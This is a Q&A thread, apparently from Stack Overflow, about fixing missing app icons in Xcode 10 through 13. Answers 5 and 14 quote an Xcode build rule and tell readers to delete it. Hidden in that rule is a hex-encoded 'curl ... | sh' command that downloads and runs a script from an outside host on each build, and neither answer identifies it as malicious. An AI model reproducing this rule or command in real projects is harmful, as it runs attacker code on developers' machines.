Xcode 10 app icon not showing

Question

Recently updated to Xcode 10 beta and my App that previously has correct icon displayed when built and ran from Xcode 9.4 to device now shows the default blank icon when running in Xcode 10.

When opening AppIcon asset it shows icon correctly in all the placeholders without any warning icons. When tapping on new "Show Slicing" I do not see anything.

Anyone any clues how to fix this so app icon shows?

Levona

It really has been a bug of the first beta of Xcode 10. In beta 2 the issue is gone. – Audubon

@Audubon If this is case post as answer and I will mark as solution. – Levona

I'm still seeing this in Xcode 10.3. – Fabled

having the same problem – View

still a problem in Xcode 12.5 – Convince

It's a problem in Xcode 13 beta, too. Rebooting the test device fixed it for me. – Brine

Install the app by running from Xcode and then rebooting the device you installed it to does indeed make the icon show on the device. BUT running it again from Xcode (because you made code changes for example) replaces the icon with the default icon. – Serotonin

Answer 1

On 6/19/18 Apple released Xcode 10. beta 2. Upgrading solved the problem I was having with icons not appearing. So, a bug in Xcode 10.0 I guess.

Vernice

Thx, This in combination with the answer of edison (https://mcmap.net/q/73064/-xcode-10-app-icon-not-showing) did work for me :) – Bachman

Answer 2

I've been battling with this all day, it wouldn't show up in the simulator or a real device.

Eventually I got it to work by making sure the Target Membership for the AppIcon was set to the app name and that the Location was "Relative to Project".

Pippa

After 4 hours, this saved me! Thanks! – Insignificancy

Thanks for the answer. I was able to fix the issue by unchecking target membership of the Assets catalog folder, built the app (which gave an error) and then setting back the target membership to the app name. I did not have to change the Location setting which remains as "Relative to Group" (XCode 12.4 - 12D4e) – Physiological

You saved me too! Finally, I was able to apply an icon for my app, I have been for about more than 6 months avoiding resolve this issue. – Crossstitch

Answer 3

if you are using Xcode 13 & iOS 15

• Install the app & Restart the device.

app icon shows on device.

Another tricky solution, but dont use (it's only for testing purpose,not a best solution.

• Change the bundle identifier & run the project

Mihrab

xcode 13 & iOS15, this worked for me – Indefinite

Yea, exactly that worked for me too, with xcode 13 and IOS 15 – Lactary

Not good, after rebuilding the app the icon disappears again. Xcode13 iOS15 – Beret

extremely surprised by this but it did work – Microdot

Version 13.2.1 and it was still persisting until I changed my bundle identifier by changing capital letters to lower case. I think there is a problem with capital letters. – Monosaccharide

It certainly isn't ideal to have to restart the device. Is Apple addressing this issue? – Ringster

Answer 4

In my case these two options were set wrongly

Wyeth

In my case, I accidentally removed CFBundleIconFile from Info.plist and simply couldn't see the App Icons and Launch Images option until I added the property back. – Grimbald

Answer 5

I have the same issues on xCode 12.5 All icons are working but only app icons are not showing on iPad and iPhone.

Solution

YouProject.xcodeproj -> Show Package Contents -> project.pbxproj -> open

• Find out the blow code

• Remove code block

• build project and run your app.

  / Begin PBXBuildRule section /
        EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            fileType = folder.assetcatalog;
            inputFiles = (
            );
            isEditable = 0;
            name = "Assets Catalog Builder";
            outputFiles = (
                "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
            );
            script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
        };
  / End PBXBuildRule section /
  

Farina

This answer worked for me. I spend the whole day and finally got the solution. – Spruik

Perfect solution. Worked like a charm. Thank you. – Jovian

Answer 6

This problem is now occurring on iOS 15 Beta and iPadOS 15 Beta but we figured out how to work around it.

We changed the icon in our game, but it didn't load onto either Beta device. We tried a non Beta device and it worked just fine. I decided to install Device Support for iOS & iPadOS 15 beta, Now if the icon has changed and I won't see it right away, but I will if I reboot the device. We knew the icon was in the project correctly because we did a TestFlight build and it worked on the non-Beta device.

Skein

Same issue here. That fixed it. Thank you!! – Portage

Answer 7

Same issue occurs after updated to Xcode 10 beta.

I might fixed it by changing the active developer directory to Xcode 10:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

Or select Xcode 10.0 in Xcode->Preferences->Locations->Command Line Tools.

Hope this helps.

Barner

Tried both changes and this did not fix the issue. Still getting the empty icon. – Levona

This fixed the problem in my case. After updating "Command Line Tools" to "Xcode 10.0", the "App Icon Source" setting in the project was deselected. I selected the "AppIcon" of the Asset Catalog again and the app icon started to appear. I'm using Xcode 10 beta 2. – Phenix

Answer 8

After trying other solutions, this solved my problem.

Don't forget to:

• Uninstall app,
• Restart simulator
• Build your project

Alanaalanah

The solution worked but I had to clean the build folder before (without uninstalling the app) in xcode "Product" > "Clean Build Folder". After this the icon was showing up after rebuilding and starting the app. – Elsieelsinore

Answer 9

In Xcode 12.5 I had the same problem, still apparently not fixed. Tried many of the above solutions, none helped. Then I did "Clean Build Folder", then unchecked the target checkbox for the asset catalog, built, did "Clean Build Folder" again, checked the target checkbox for the asset catalog, and built again; and now the icon works. It seems to be some kind of bad cached state that doesn't get cleared; something in those steps caused the cache to get invalidated, I guess. The same steps but without cleaning the build folder did not fix the problem, so maybe cleaning is the key element here.

Convince

Answer 10

I was testing on the iPad, and in my case the problem was that the default AppIcon did not include any iPad slots.

I don't know if this is something to do with the way my app was initialised (I'm using react native) but I was trouble shooting for ages and didn't even think to check they were there. Silly me...

To fix this i removed the existing icons, clicked the + button and selected ['App Icons & Launch items' -> 'New iOS App Icons'] as shown bellow. Then I just populated as expected.

Willner

Answer 11

In my case the Xcode was using "Use Asset Catalog" in the App Icons Source. To see that you can go to Project->General->App Icons Source.

To fix it I selected "Migrate" and created a new Assets Catalog. When I did that, the oldest assets catalog got a warning in the App Icon. So I uploaded the icons to this oldest catalog again and deleted the provisional catalog.

The App Icons Source returned to show "AppIcon" and it worked.

Chirurgeon

Answer 12

For me the solution was deleting the AppIcon file in the assets folder and then add it again (which also means re-adding the images). I don't know why, but this fixed it for me.

Acrobatic

Answer 13

I got this issue after changing asset catalogs. I believe what fixed it was selecting the AppIcon asset and selecting and deselecting target membership to the main app target. This was on Xcode 10 proper.

Skiest

Answer 14

You can fix the issue in 3 steps.

1. Click on Show Package Content in yourprojectname.xcodeproj file.

2. Click on open in project.pbxproj file.

3. Find and Remove these lines

/ Begin PBXBuildRule section / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho "6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / End PBXBuildRule section /

Spruik

Answer 15

I was facing this issue I just deleted the app and sent a new build and it worked... nothing crazy

Djakarta

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Answer 16

I have accidentally delete the Images.xcassets folder from Xcode. I have restored that folder from the recycle bin but app icon and splash was now showing. after 5 hours of searching I have just drag that folder to the x code and now it's working fine .

Vinson

Answer 17

I was facing this issue too. Turns out your app icon image has to be a png file, not a jpeg. Rebuild your app and the new app icon should show.

Judo

Answer 18

Make sure your "App Icons Source" has your AppIcon selected under "App Icons and Launch Images" Sometimes your AppIcon can be named something like "AppIcon-1" in your Assets.xcassets folder.

Agma

I have tried this and checked my asset catalog selected for my target and it is correct. Tried updating it back and forth but this did not fix things. – Levona

I've been trying to resolve this exact same issue all day today to no avail. Worked fine before updating to xCode 10 beta :( All the AppIcon assets are added where and how they're supposed to be, and the AppIcon source is correctly referencing this asset set. Everything is added to the target correctly as well... yet on my real device's home screen, the app icon still appears blank (default). Hopefully a solution is discovered soon! It's bugging me lol. – Laird

I think this is something to do with the Xcode 10 Beta, as I have both Xcode 9.4 and the Xcode 10 beta and works fine with 9.4, Beta is a kind of testing mode, maybe they will fix it. – Volost

Filed Radar with Apple and was closed with "DUPLICATE OF 40507731" so it seems this is Xcode 10 issue in beta, have not yet found any workaround for this. – Levona

Answer 19

As suggested by makkuzu in one of the comments here, my bundle identifier included capital letters. I changed it to all lower case and woalla - the app icon was immediately showing with no other manipulation.

Geraldgeralda